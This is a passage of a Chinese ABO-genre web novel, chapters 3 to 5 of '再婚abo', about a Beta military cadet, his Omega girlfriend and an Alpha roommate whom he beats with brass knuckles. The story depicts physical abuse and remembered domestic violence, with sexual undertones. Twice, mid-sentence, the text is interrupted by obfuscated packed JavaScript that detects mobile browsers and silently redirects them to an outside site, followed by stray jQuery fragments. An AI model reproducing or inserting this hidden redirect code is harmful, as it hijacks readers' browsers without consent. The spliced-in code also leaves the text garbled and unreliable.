《再婚abo》
3. 第 3 章
03/七流
【16年前】
银河军校是联盟最好的军校,军事作战学院是银河军校最好的院系;而联合指挥,又是军事作战学院里最好的专业。
学校一共三百万学生,但指挥系四个年级加起来只有5000人,每个学员都是万里挑一,优中择优。
还差5分钟下课。
叶玲珑站在门外,她身高只有一米六,长相甜美可爱,此时正眼巴巴地望向教室。
她的望眼欲穿,让台上讲课的老师都忍不住侧目。
叶玲珑是后勤护理专业的omega,按理说是不能军事学院的。不过,因为参商的存在,她总归享有一些特权。
“参首席。”好友姚林拍了拍参商的肩,揶揄道,“真狠心让你女朋友一直等着呢?”
参商合上教材,稍显冷淡的凤眼眯起:“又不是我让她来的。”
虽然嘴上这么说,但他脸上分明有了笑意。
在军校,每个学年都会选一次“年级首席”。
首席们的地位远超普通学生,相当于钦定的领袖,不仅军衔比其他学生高半级,还会参与到学校的军事化管理体系中。
由于Alpha巨大生理优势,只有在后勤、医护等领域,才会看见一些优秀的Beta;Omega首席更是只会出现在附属的艺术类院校里。
军事学院历代的首席都是Alpha。
除了今年。
军事战争学院,联合指挥系4178级,新上任的首席竟然是Beta。
这代表,无论是体能、实战、还是理论,这个Beta都全方位地碾压了其他竞争者,优秀到能打破那些秘而不宣的傲慢与偏见。
有时候,连老师们都会觉得可惜……这么好的苗子,怎么是个Beta?
Beta没有信息素,无法接受信息素强化,也没办法开机甲。刚开始的一两年还好,大家差别不算大,可军校的学制长达6年。
现在已经是第二学年。
(注:信息素强化,是指服用从虫族/异族战士遗骸中提取的进化液。仅对拥有信息素的新人类有效。进化液能永久增强身体素质,Alpha的增幅显著高于Omega。Beta虽然也能服用,但增强效果普遍只能维持1到3天,且会出现较大副作用。轻则头晕呕吐,严重可导致终身残疾。)
难熬的五分钟终于到底。
参商起身,第一个往外走。
他的金发很耀眼,像太阳。一路上,都有同级生微微鞠躬,朝他致敬:“首席好。”
而参商只是略微点头,作为回应。
他来到回廊,摸了摸叶玲珑的手,冰凉。
参商开口:“不要等我下课,我不希望你太累。”
叶玲珑靠在他的肩上,脸上的笑容很甜:“今天上厨艺课,我做了小点心,想第一时间让你吃到嘛。”
哪怕是同样的军校,在附属学院上课的Omega课程也和其他军校生很不一样。
他们学习厨艺、艺术鉴赏、家务收纳等等利他的技能,仿佛那是作为人的全部价值。
参商感觉到可惜,因为他知道叶玲珑其实很聪明。即使只是看他的教科书,也能触类旁通领悟到很多教材外的东西。
她举起手里的小保温盒,眼神亮闪闪的:“看!”
起初,参商并没有想过在读书时谈恋爱,更没有想过找一个Omega恋人。
联盟的AO一成年,DNA资料就会录入匹配中心。
Omega如果不读大学,就会立刻匹配丈夫;读大学也只是把这个刑期延缓了几年。
参商的理想配偶其实是女性Beta。嗯,就是那种圆脸、可爱的,胸也鼓鼓的女性Beta。如果能比他矮一些就更好了。
自从星际航行时期出现ABO分化后,人类的二元性别就转化为三元性别。
男女本质上构造是一样的,包括生殖器官。女性的子宫对应男性的前x腺囊。
在ABO分化后,非omega性别的女性不再生产卵子,肌肉含量显著增加;omega男性则是有概率出现双性的特征。
只要是同性别(指ABO),男女的身体素质相对一致;Alpha、Beta、Omega之间倒是有很大的差别。
比起男性、女性这种词,人们现在更常说的是男体和女体。有学者预测,再进化几十万年,男、女外观上的差异将彻底消失,只保留最适合生存的生理特征。反正现在男男/女女也能生孩子。
参商是Beta,没有也闻不到信息素。压根不在匹配中心的配种范围内。
但叶玲珑对他穷追不舍大半年,参商的心也不是铁做的。
他在慎重思考后,同意了。
Beta娶Omega的案例很少,但不是没有。只要他在毕业前攒够军功,就能申请结婚。
唯一的问题是,联盟的A和O并非单偶制……走一步看一步吧。参商讨厌和别人分享自己的妻子。
参商弯腰,用嘴去叼她掌心里那块小点心。略微有些长的刘海垂下,挡住他摄人心魄的眉眼。
“很好吃。谢谢玲珑。”
叶玲珑的脸骤然变得通红。
哪怕在一起三个月了,她也没能适应参商的脸。
军校,或者说整个联盟都是A多O少。参商进学校第一天,就被Alpha们堵得走不动路(虽然人们没有从他身上闻到信息素)。知道他是Beta后,学校的论坛更是哀号了整整三天。
而且,那股目下无尘又目中无人的气质,实在是有点勾人。
比起首席,参商的另一个外号更广为流传——“校花”。
校服里的手机震动了一下,参商扫了眼,是姚林发来的消息。
“那小子又在看你女朋友/怒”
参商知道他说的人是谁。
孟逐星。
孟逐星是他室友。
学校分配的,是很罕见的军部推荐生。
分寝室前,辅导员就找到他,说系统随机安排给他的室友是“军部推荐生”,问参商是否需要更换室友。
如果说其他部门的推荐生都是给权贵弟子走后门的;那军部推荐生代表的含义会更特殊一些。
他们通常来自还未开化的原始星球,并不享有公民权,只有在战场上表现优异的少部分人,才能正式加入联盟。
参商看过孟逐星的简历。
联盟的军队路过K74星系,发现一颗原始生命星。这里被当成虫族幼虫的孵化巢了,人类是虫族圈养的培养皿。
联盟对星球使用了天鹅座射线消毒(针对虫族幼虫和卵的),至于被当成牲畜的人类,抱歉,那不在联盟的考虑范围内。
孟逐星就是这颗星球上的原始人类。在长达一周的辐射后,他成为星球上仅剩的八个幸存者之一,并且觉醒为Alpha。
学术上叫原生种,比AO结合孕育的Alpha拥有更优秀的基因。
八个人里没有Beta。Beta就是那些无法承受天鹅座射线的普通人类。
Omega会送去抚养中心,等着长大后配种。
而Alpha会被打包丢进军部青训营。
最强壮的蛊王才能在青训营里存活,获得来银河军校进修的资格。并且能在毕业后,和每一个联盟公民那样,拥有一个相对正常的人生。
“在青训营长大的,没几个性格正常。”辅导员说到这的时候,脸上有显而易见的烦躁,“当武器培育那就好好当武器,净丢学校,给人添麻烦。”
军部推荐生社会化程度很低,有些甚至不太会说联盟语,脑子也不好使。
他们是一群身强体壮的Alpha,像被迫从森林来到人类社会的大型猛兽。
好在把他们分散进联盟的数万个军校后,这些污渍也就不那么起眼了。
出于某种隐秘的同情,参商没有选择更换室友。
这绝对是他6年大学生涯里最错误的决定,没有之一。
……尽管大学才开始一年半。
参商在心里烦躁地“啧”了一声,把叶玲珑往自己怀里挡了挡,低声道:“以后还是少来,这里全是Alpha。”
他捏了一下叶玲珑的脸:“我闻不到信息素,但他们会闻到。”
“我贴了抑制药。”叶玲珑说话像是在撒娇,为参商表现出的占有欲感觉到了幸福。
他送叶玲珑回宿舍。又开车,回到自己寝室楼下。
参商手插在兜里,没有选择坐电梯,而是一层一层往上走。
他在思考。
尽管入住前就有些准备,但参商还是在第一次见孟逐星的时候,感觉到错愕。
这个男人很脏。而且很高,原始又野性,身量极具压迫感。
来之前,教官让孟逐星换过衣服。但从训练营到军校有一个月航程,这期间教官联系不上他,于是孟逐星不知道自己需要换装。
【“和军部推荐生当室友,你不仅是室友,还必须成为他的半个生活老师,在同住的六年里协助他完成社会化训练。”】
参商想象不到孟逐星是怎么一个人办理入学、入住的。但能想到一路上会有多少人用怪异的眼神看他。
【“出于安全考虑,我们会为他安装项圈,当感觉遭遇生命威胁时,你可以启用‘安全程序’。项圈释放的强效麻醉剂会刺入他颈后的alpha腺体。后续学校会处理。”】
他目光扫过孟逐星的脖颈,那里果然有个铁质的项圈。
参商让他去洗澡,孟逐星站在原地,似乎无法理解这个词的含义。他只好认命地牵住野人的手腕,带进卫生间,用水管冲了好几遍。
孟逐星大概是以为自己会挨打,蜷缩着身体坐在角落,用胳膊挡住自己头顶。
他不反抗。尽管他知道自己一只手就能压住眼前的Beta。
但教官说过,不能顺利毕业,他们这些训练营出来的“人”下场会很凄惨。联盟不需要没有理智的武器。
打室友肯定是毕不了业的。
这是人吗?简直是一头脏兮兮的大型野兽。
参商原本有些郁闷的心情转化为怜悯。
他认命地蹲下,挤了一泵洗发液,开始清理孟逐星打结的、乱糟糟的黑色头发。
孟逐星终于和他对视了。他有一双血红色的眼睛,很骇人。这大概也是他总是低垂着眼眸的原因。眼神在凶恶和温顺之间转换着。
“能听懂联盟语吗?”参商问。
孟逐星点头。
“那你听好,我叫参商,是你室友。也算你半个长官,你毕业是需要我打分的。听懂了就点头。”
孟逐星迟疑片刻后,点头。
之后,参商又花半年时间,教会他睡觉——不用站着。而且要脱衣服。
吃饭——不要用手抓。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179531|196952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上课——安静、听讲。
实战训练——不能打死人。
对话——起码要能正常沟通吧?
孟逐星一开始很黏他。上厕所都要跟着。目光坦坦荡荡,从不避讳。甚至想跟着参商进浴室,被参商赶出来后,就蹲在浴室门口等他。
参商虽然觉得烦人,但一想到室友是自己选的,也就忍了。就当提前养了个强壮的儿子,尽管他自己也才刚成年。
参商是要上前线的。如果孟逐星能顺利毕业,回到军队就是准尉。到时候也算前途无量,在军部能有个照应。
大概是半年前,也就是参商刚和叶玲珑交往时。
孟逐星突然从他身边消失了。
孟逐星并不蠢笨,相反,他很聪明,学习能力很强。一开始,孟逐星都读不懂联盟语,但一年后,期末的理论考试已经能拿到六七十分。
他也学会了和参商之外的人聊天,沟通。更多使用语言而不是“行动”。(刚开学时,孟逐星想让同学让一下路,会直接一个过肩摔把人丢到三米外。参商拉着他道歉赔礼大半天,才没让这件事进档案。)
孟逐星甚至还学会了玩手机、用电脑!嗯,这算是野人会用工具了吧?猴子走向智人的第一步,可喜可贺。
如果忽略孟逐星脖子上的项圈,你甚至会以为,他只是一个略显沉默寡言的正常人。
到寝室门口了。
参商刷卡,推开门。
寝室里黑漆漆的。参商开了盏床头灯。孟逐星侧躺在床上。盖着被子,蒙住头,仿佛已经熟睡。
他打开衣柜,随手把外套挂进去,但是准备关门时,动作突然一顿。
挂在架子上的领带少了一条。
孟逐星会偷东西。
这是参商意外发现的。
第一次,他发现被偷的是袖扣。
参商看心理书,说孩子会偷东西,多半是心理匮乏。
于是他给孟逐星买了不少袖扣。
孟逐星看起来非常开心,人却死性不改。
后来他发现,孟逐星只偷叶玲珑给他买的东西。
……
参商强忍着怒意:“起来!”
被子里的人一动不动。
参商锁上宿舍门,来到孟逐星床边,他掀开被子,抓着孟逐星的头发,把他硬生生提起。
孟逐星吃痛,发出一些轻微的声响。
参商掀开被子,一股淡淡的腥味,孟逐星手忙脚乱地挡住床单。
参商没有细想,继续皱着眉翻孟逐星的床。
他在枕头底下翻出一条刺绣的真丝领带。叶玲珑亲手绣的,参商时常戴着。
参商和他对视,孟逐星回避视线,扭过头去。
于是,参商一拳砸向孟逐星的脸颊。
这一拳用尽全力,甚至能听见骨头和骨头碰撞的声响。
孟逐星身体控制不住往后仰,半天没能转过来,片刻后,他抬起胳膊,“嘶嘶”地喘着气,用手背擦掉鼻腔流出的血。
鼻骨肯定断了。
有点疼。孟逐星想。
“我不管和你叶玲珑匹配度有多高。”参商抓住孟逐星的头发,拽着他的脑袋往墙上撞去,“她、是、我、的。明白吗?”
孟逐星和叶玲珑都是成年AO。信息自然会登记在匹配中心。
参商向叶玲珑介绍过自己的室友,有些歉意,像离异后还带着孩子的单身父亲,“我室友。军部推荐生,性格不太正常,但没什么坏心思。”
叶玲珑罕见地没有表现出害怕和歧视。很愿意和参商的室友交个朋友。
结果,两人第一次见面,孟逐星就把叶玲珑吓哭了。
“他在释放信息素……”叶玲珑在参商怀里小声啜泣,“我、我很不舒服。我不能呼吸。”
Beta没有,也闻不到信息素。
Alpha释放信息素的含义有很多,攻击、询问、交换信息……
但Alpha对非伴侣Omega释放信息素,通常只有一个含义。
性/骚/扰。
参商安抚着自己女朋友,托关系查了一下,这才发现,孟逐星和叶玲珑的信息素匹配度有百分之九十。
匹配度50以上就能结婚生子。
匹配度70以上,无论是否情投意合,起码做恨时也能水乳交融。
匹配度90,简直是命中注定的恋人。
……
……
孟逐星的脸被摁在墙上,不反抗,也不辩解。只有一双血红色的眼睛,用余光瞥着他。
参商冷冷看着他,从校服口袋里掏出指虎,套在自己骨节分明的手上。
他学过审讯,知道怎么打人最痛,又不容易被看出来。也知道要如何给受训者施加压力。
参商戴着刑具的手握成拳,冰冷的金属从孟逐星的脸上碾过,留下一串红印:“我在问你话呢。”
孟逐星看着他的脸,片刻后,非常挑衅地伸出舌头,舔过参商没有被金属覆盖的小手指关节。
参商理智的弦彻底崩断。他的神色变化片刻,突然从齿缝里挤出冷笑。
他勒住孟逐星脖子上的项圈,问:“是想退学吗?”
孟逐星摇头。
“很好。那就不要发出声音,我不喜欢。”参商俯视着他,拨弄着套在手上的刑具,校准着位置。
下一秒,他重重捶向孟逐星的腹部。
4. 第 4 章
04/七流
……
参商穿着白衬衣,袖子撩起,卷在手肘处。手指上套着的刑具沾着血痕。
几分钟了?有没有十分钟。参商垂下眼眸,看着趴在地上的人。
他的声音如此平静:“起来,跪好。”
孟逐星的喉咙里发出几声气音,过量的疼痛让身体不受控制地痉挛,他挣扎着撑起自己的身体。
刚跪稳,参商的手扣在他肩上,毫无防备的腹部再次迎来一拳。
孟逐星身体痛到打颤,竟然真的也能一声不吭。
重击造成的钝挫伤会让皮下血管破损,孟逐星的体表很快呈现出异常的红色。他的背拱起,胳膊撑在墙上,浑身的肌肉隆起。
大概再过一个小时,血液渗透到周围的组织,他的身体会出现明显的瘀青和肿胀。肿起来是因为坏死的组织液和血液堆积在皮下。
初期是青紫色,然后是蓝紫甚至偏向绿色,要痊愈时是黄色……参商对这些伤势的变化了然于心。
参商摘下指虎,往桌子上扔去。
银色的刑具飞出去老远,在撞墙,发出“嗡”的一声后,停下。
参商平静了下来。
他转身,去卫生间,打开水龙头,洗手。
冰冷的水流给了他足够的缓冲时间。
参商闭上眼,深呼吸一口气。把头埋进冷水里。
他在近乎窒息的冰冷中想起过去。
参商的恩父是一名残疾军官。似乎还有些荣誉,逢年过节能收到一些慰问,受人尊敬;但他在家里,会殴打妻子发泄怒火。
前者是英雄,后者是参商的亲父(一名男omega)骨折到畸形的腿、永远青肿的身体和流不尽的泪。
家暴的理由很简单,或许不需要理由,只是人们以为这是理由——Alpha和Omega怎么生出一个性别为Beta的孩子?!
AO结合,下一代只有十分之一的概率是Beta。而参商还是在Alpha出征时怀上的。
后来,参商才明白。即使他是Alpha或者Omega,丈夫也会以别的理由抡起拳头。
暴力从来不是结果,是一种选择。
他不想变成自己父亲那样的人,可他们毕竟流着相同的血。
动手时,参商是暴怒的。
然后他十分震惊的发现,打孟逐星让他觉得很舒服。
尤其是对方竟然不还手。
对哦,像孟逐星这种推荐生,动手的下场会严重很多,他是怕被退学吧?
肩头沉甸甸的压力被宣泄出来,学业上的、生活上的,所有让参商不适的东西……变成孟逐星的血流出。
如果不是理智尚存,参商怀疑自己会想要继续。
这很恐怖。参商想,他不该是一个正常的、遵纪守法的人类吗?为什么会从这样的行为中感觉到快乐?
难道他会成为和他恩父一样的畜生?
这种恐惧让他的手指微微颤抖。
暴力和权力。这是两个会扭曲人性的怪物。
尤其是施加暴力而不受惩罚,使用权力而没有代价。
他也不该用暴力的方式教育孟逐星。
体罚的本质是以暴制暴,会扭曲孟逐星的道德观念。
孟逐星只能算半个人,思维本来就是动物性的。
他只会费解自己为什么挨打,挨打后还会心生怨怼。
这是不对的。
参商感觉到一些懊恼,还有后悔。
他拆开一条新的棉巾,用温水打湿。
参商来到孟逐星的身边,对方还维持着之前的姿势,身体略微蜷缩着。
发现参商靠近,孟逐星再次直起腰,跪得很是标准。
如此温顺……
参商喉咙莫名发痒,有些隐秘的不适。
家长打完小孩都这样。
他走过去,站在孟逐星跟前,神情依然算不上柔和。
参商说:“抬头。”
孟逐星的身体颤了一下,他慢吞吞地抬头。眼神却是飘忽着的,不敢去看参商。
预想中的疼痛没有到来。
参商撩开孟逐星乱糟糟的刘海,用温热的面巾擦拭他的脸,擦掉他脸上的血迹。
两人对视着,参商的道歉卡在喉咙里,吐不出来。
看见这张脸就会想起这小子之前干了什么好事,好不容易降下去的火气又又又开始冒头。
参商:“知道我为什么打你吗?”
孟逐星思考许久:“……因为,我……”
他支支吾吾的,不知道该说什么。
参商说:“因为你没有经过我的同意,就拿走我的东西。不问自取就是偷,明白吗?”
“……”
孟逐星唇抿起。
参商:“你明天出门去把头发剪了。”太长了,毛躁躁的,像个鸟窝。还分叉。
参商动作很自然,毕竟他也不是第一次给孟逐星擦脸了。
孟逐星刚来学校,不会用水龙头,也不会用洗漱用品。
他洗脸是用手接水后往脸上擦。揉一揉就算洗干净了,野外的猴子在找到水塘时也这样洗脸。
至于刷牙。嗯?那是什么?
这卫生习惯,参商是真的担心寝室里会长虱子。
他只好买来全套的洗漱用品,认命地花一个小时,教会孟逐星洗脸、刷牙以及什么时候该用洗发露。
然后第二天早上,参商进卫生间,就发现孟逐星掐着他睡醒的时间,用洗脚盆抱着全套的洗漱用品,眼巴巴地等着。
“给我、洗。”孟逐星说,发音不是很标准,是会被一些没素质的联盟人嘲笑的口音。
参商自认为教养还行,但那瞬间他是真的想把脚盆扣到孟逐星脸上。
参商从回忆里抽离:“算了,还是别去剪了。明天你的脸会肿,不想被发现就戴个口罩。有空自己去校医院看看。”
孟逐星血红色的眼眸盯着他,眼睛都不眨一下,发现参商凝视着他等着回答后,这才缓过神,点头。
寝室里安静的只剩下孟逐星的呼吸声。
参商皱着眉想,大概是从有记忆开始,自己就无师自通地学会怎么给亲父处理伤势。
参商很怕他脸上的伤被邻居们看出来。
他的Alpha父亲在外人眼里是一个好人,“我的亲父因为我被家暴”,这种事似乎让年幼的他觉得很是害怕和惶恐。
还有一些丢人。
参商承认自己性格里低劣的部分,但事后回想总是感到难堪。
生父是个柔和、温顺的omega。
他的伤势和孟逐星重合着,截然不同的脸并没有重合。
孟逐星是个比他高、大、像狮子一样的,结实的、打不坏的Alpha。
参商让他自己捂着鼻子止血,然后出去放在床底的医疗箱,打开,找到治疗外伤的药膏。
参商坐在床边,给孟逐星上药。
有些苦涩的药酒滴在腹部,孟逐星控制不住地发抖。
他勃.起了。
但近乎本能地,孟逐星意识到这件事不能让参商发现。他往后躲了躲。
参商挑眉,明知故问:“很疼吗?”
孟逐星摇头:“不。”
疼痛不算什么。孟逐星受过比这严重很多的伤势。
他一度以为自己会在无人问津的角落里死去,尸体腐烂生蛆或者被虫子吃掉……
而这次,起码还有参商在他身边。
听到他的回答,参商恶劣地曲起手指关节,指骨从孟逐星泛着血色瘀青的腹部碾过。
“呃!”
孟逐星忍不住喊出声,整个人都瑟缩着。
参商心情很好地笑了,又很快绷起嘴角,严肃道:“你应该说实话,告诉我你很疼。我不需要你否定自己的感受来讨好我,也不需要你的否定来降低我的道德负担。”
这话太高级了,孟逐星听不懂,但他固执地回答:“不疼。”
参商没有再说什么。
使用暴力后安抚受害者,这套流程固然出于歉意,却不是和室友正确的相处方式。
多来几次,孟逐星会被驯化成斯德哥尔摩也说不定。
参商承认,自己在事后产生了没能控制住自己怒气的悔意,冷静下来后还有更深一层的惊恐。
他安抚孟逐星,是在缓解自己内心的矛盾与冲突。
当然,从更功利的角度讲,孟逐星如果向学校领导举报,可能会影响自己的风评。所以,适当的安抚是很有必要的。
校园暴力这种事在军校屡见不鲜,这玩意就像是下水道里的蛆。
蛆在厕所里,虽然恶心,不过可以理解;如果把蛆放到餐桌上,那就必须得处理了。
参商洗完澡,从浴室里出来,空气里的药酒味依然挥之不去。
孟逐星在他洗完后,进卫生间洗漱。
每天把自己收拾干净,不能有任何异味。这是参商的规矩,他早就习惯遵守。
浴室里有一股略带苦涩的中药味,非常淡。
孟逐星忍不住嗅来嗅去,四处寻找气味的来源。
野猪找黑松露就这样。
孟逐星举起花洒,花洒还滴着水。不是这个。
他又到镜子前,扫视一圈,他盯住参商的牙刷,感觉那不是一把普通的清洁用品,而是伊甸园的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179532|196952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
苹果。
犹豫,犹豫。
犹豫了足足三秒。
孟逐星轻手轻脚地拿起来,没有发出一点声音,做贼心虚地闻着。参商应该刚用过?有一点药味。只有一点。
他把牙刷放了回去。没有再做别的。
参商很爱干净,边界感也很强。孟逐星尽量让自己不被讨厌。
他往后退了一步,脚后跟踢到一个东西。
孟逐星转身,他踢到的是放在浴室角落的脏衣篓,上面还盖着一块布。
孟逐星死死地盯着它。像回到战争,和敌人凶狠地对峙,谁也不肯服输。
他不知道自己盯了多久,孟逐星开始生理意义上地流口水。唾液从口腔里分泌着,身体每一个细胞都在忍受着干渴。
被参商打过的脸肿着,随着时间流逝,淤血堆积,脸颊开始高高鼓起。出现青紫的颜色。
孟逐星不是真的畜生。只是社会化略低,智力绝对是没问题的。
理智上讲,他知道室友是个Beta,不太可能有信息素。
现实是,从第一次见到参商起,孟逐星就开始忍受着一种若有若无的引诱。
寝室里总是萦绕着淡淡的中药味,靠近参商时能闻得更清楚一点。孟逐星偷偷闻过甚至吃过参商的沐浴露,不是化学药剂的味道。
这个味道似乎只有他一个人闻到。其他Alpha、Omega和参商相处时从未提起过。
一开始,孟逐星还能忍耐。
或许这是军部给自己的考验?在训练营,他接受过反审讯培训,培训的其中一项,就是给营员们注射高浓度的Omega信息素,然后开始审问情报。
Alpha没有主动的发情期,但是会被迫发情。
情迷意乱让小头控制大头的Alpha都在这一轮被开除了。尸体成为沤肥。
当年做培训的时候,孟逐星只有16岁。他不理解,为什么战友会因为这些omega信息素而情难自禁。教练只是笑笑,说他还小,到年纪就懂了。
现在,孟逐星突然反应过来。也许当时不是他意志力惊人,而是自己天生就是只会对Beta起反应的性错乱病患。
搁几百年前,要送去医院做电疗矫正的那种。
参商的气味越来越浓郁,他的意志力也在崩溃边缘。
孟逐星和蒙着盖子的脏衣篓对峙许久。
终于,他被打败了。
孟逐星跪在它旁边,隔着一层布,把自己脸压了下去。
如果参商不是Beta。那么他现在就会闻到自己室友的信息素气味,从浴室紧闭的门槛里溢出来,堪称暴烈地舔过他全身。
学校匿名群出现一长串的抱怨。
[7栋A楼到底哪个死鬼在发癫?!能不能收收味他x的呛死人了?!]
[打架了还是在看黄片啊?]
[信息素纯度这么高,不至于没人知道是谁吧??7栋哪个Alpha是烟味的?#愤怒#愤怒]
[3栋路过。什么烟味?利群还是宝塔山啊?]
(*注:这俩都是香烟品牌)
[不是香烟,是硝烟味。太好啦没毕业就模拟上战场了!]
[我真的要吐了,大师求你了收了神通吧,身体遭不住。不要再用你的信息素投毒了!]
……
……
参商躺在床上,半天没能入睡。
他闭上眼,亲父那张憔悴、悲哀、懦弱的脸,就在脑海里闪回。
恩父虽然是个家暴男,但参商没有被打过。柔弱的Omega父亲会保护他。
生父唯一的武器是信息素,据说他的两个父亲信息素匹配度很高,百分之九十,命中注定的神仙眷侣。
参商闻不到信息素,恩父能闻到。于是暴力会变成酣畅淋漓的性。
生父会把他赶出房间,参商在自己的卧室里,隔着一层墙,听见隔壁传来Omega的呻吟。从凄厉到哀婉。
参商会在这个过程中想起很多东西。
畜生。狗。肮脏。油。洗洁精。
做恨后,家里的气氛会不那么压抑。
只需要一点柔情,Omega看向Alpha的眼神就能变得含情脉脉,是激素让他变成这样的吗?
参商开始感觉到恶心。幸好他是Beta,不会变成那样。
也不知道多久,好不容易有点睡意,浴室门打开的声音让他骤然清醒。
是孟逐星出来了。
对方摸黑,小心翼翼地躺上床。
他的心理状态不适合继续当孟逐星的监护人。
……或许该申请换宿舍了。
参商闭着眼睛想。
5. 第 5 章
5/七流
既然决定要换室友,参商看孟逐星也就变得顺眼很多。
参商终于不再板着一张脸面对孟逐星,说话也变得温和起来,仿佛回到两人刚认识的时候。
参商在业余时间,陆陆续续写着换宿舍用的申请书。
孟逐星身份较为特殊,不能随便更换室友。
当初,参商接过教导的责任,现在想甩手不干,难免有些波折。
这份申请写得更像是检讨。
孟逐星对此一无所知,他只是感觉到参商突然软化的态度。
孟逐星社会化程度极低的脑瓜子分析不出参商变化的深层原因。
他觉得这是参商打他之后的弥补。
他对此暗中窃喜,甚至很期盼参商可以再打他一次。
参商打人虽然有点疼,但比青训营里的那些人温柔太多——为减少竞争者,那群人是会对自己同伴下死手的。他们本来就是孤儿,死了也无人在意。
作为回报,孟逐星很听话地在大夏天戴上口罩,挡住脸上的淤青,没让任何人发现自己挨了揍。
变故发生在一周后,学院组织展开实战演练课。
这是军事学院低年级的必修课程,类似于“军训夏令营”。
学生们被一股脑拉到郊外,远离人群,像真正的联盟军人那样,进行为期45天的野外生存。
授课的老师是正儿八经的在役军官,军衔中尉起步。
夏令营听上去辛苦,甚至有伤残指标,却被视为军事学院的专属福利。像后勤学院、情报学院的这些学生,想来还没机会呢。
在这期间表现优异的在校生,甚至能进入军部的人才储备名单。
入营第一天,主教官身穿制服,手持甩棍;检阅着自己的方队。
在路过孟逐星时,教官眉头一皱:“头低着干什么?有没有军人的气势!抬头,挺胸!”
孟逐星一动不动。
教官怒斥:“是要我请你吗?”
他的声音听上去非常暴躁,暴烈的信息素释放开来,竟然是刺鼻的辣椒味。
站在他周围的几个学生被吓得有些腿软。
孟逐星迟疑片刻,缓缓抬头。
他的长相有些吃亏,明明什么都没做,看起来却很是桀骜。
教官惊讶了一瞬:“是你?”
孟逐星是军部训练营的优秀毕业生。他对这孩子有印象,甚至有些欣赏。
和普通人相比,孟逐星太野蛮,笨拙。
但人都是对比出来的。和训练营的其他“野人”相比,孟逐星简直是长官最喜欢的学生。又能打,又听话。最重要的是,没有狂A病。
(注:一种在原生代Alpha里很常见的精神疾病,提高Alpha能力的同时带来不可逆转的脑损伤。患病的Alpha有很强攻击性,只能安乐死。在ABO时代早期被称为“狂犬病”。)
参商当时用力过猛,一周过去了,孟逐星的脸上依然残留着痕迹,眼角也有青肿。
教官很清楚孟逐星的武力值。
他都会被打成这样,教官怀疑这是集体霸凌。
想到军部推荐生的一些遭遇,教官的声音出现寒意:“是谁打的?”
参商听到动静,还没来得及站出去,孟逐星就不假思索地回答:“没人。我私下加训,训练时受了点伤。”
教官当然没那么好糊弄,但孟逐星看起来是铁了心要保下施暴者。
教官手里的铁棍指着他的鼻尖:“好、好、好。”
遭受不公待遇,自己都不站出来;难道指望着没有血缘、利益关系的人帮忙出头?吃力不讨好,这种事,教官才不会做。
“出列!”教官道。
孟逐星站出去。
教官一棍子抽在他的后腰上。
这一棍打得很有技巧,并且毫不留情,孟逐星会感觉到剧痛,又不至于瘫痪。
“我再问一次,你脸上的伤谁打的?!”
整个营地都相当安静,似乎只听得到教官怒吼的回响。
孟逐星还想否定:“没……”
“是我。教练。”参商打断孟逐星的话。
大家都很有纪律,没人敢乱动。几乎没人往参商这里看。但他们能听出来,这是首席的声音。
教官瞥了他一眼:“你又是谁?军事学院怎么还有Beta?你也出列!”
参商站出来:“一等兵,参商。士兵编号****,向您报到。”
他的专业让教官的面色稍霁。
“只有你?没有其他人?”
“是。”
教官眯起眼:“你打不过他。”
并不是看不起参商。
教官见过孟逐星实战。
参商冷静地陈述着:“我是他室友。根据‘军部推荐生管理制度’,我是他的长官,有权对他进行体罚。”
教官不由得想起许多恶劣案件。
他听说过,也处理过。
每年都有很多军部推荐生无法顺利完成学业。
其中,“殴打监护者”是他们被退学的主要原因之一。
看档案,似乎是推荐生对室友施加暴力。
实际上,这只是长期压迫下忍无可忍的反抗。
校方和军方都默许这种压迫。
这些野人的性子必须磨一磨。
既要武器的凶性,又要他们的奴性。
但标准毕竟是动态的,教官的脸色阴沉:“告诉我原因。”
“他性骚扰我的恋人,还有一些需要矫正的陋习。”参商说,“我发现过不止一次。试图用谈话方式对他的行为进行矫正,然而收效甚微。我希望用疼痛让他理解人类社会的规则。”
参商没有直接说孟逐星偷东西。
育儿书上说,要在外人面前给孩子保留一些尊严。
没有说孟逐星是他儿的意思。
参商思考片刻,补充:“我恋人是omega。”
教官问孟逐星:“是吗?”
孟逐星低头,不是很想承认,但又不能否认。
被军棍拍过的后腰还痛痛的,孟逐星有气无力地回答:“是。”
好家伙。一起来的同学还什么都没干,就吃上这么一个惊天大瓜。
可惜还在队列中,没人敢交头接耳。
参商都能猜到晚上营地里是什么样的盛况。
教官从鼻腔里发出一声冷哼:“那你归队。”
隔了会儿,他又扭头:“这次训练,你俩一组,给我培育感情!有什么事不能沟通的?好好交流,别动不动就揍!光打人是训不出来的!”
如果不是孟逐星刚被他用军棍打过,他这话应该会更有说服力。
说完,教官晃着军棍,一甩一甩地走了。
*
服了。
怎么又凑一起了。
参商原本就想夏令营结束后换宿舍。
这次夏令营有45天,刚好让孟逐星离开他学会独立行走,就当是两人分开之前的冷静期。
参商叹气。认命地看着好友怏怏不乐地收拾行李。
军校在的卫星叫葛兰星,大部分人集中在第一区活动。剩下四个大区都是无人区。有沙漠、雨林、矿石山脉(地下)和高原雪地。当初挑中葛兰星,就是看准这里地形复杂多样,适合培训。
这次拉练的地方在第三区,雨林。
学校划分出一片宿舍生活区,却没有宿舍楼。需要学生自己安营扎寨,每人会发两个睡袋。
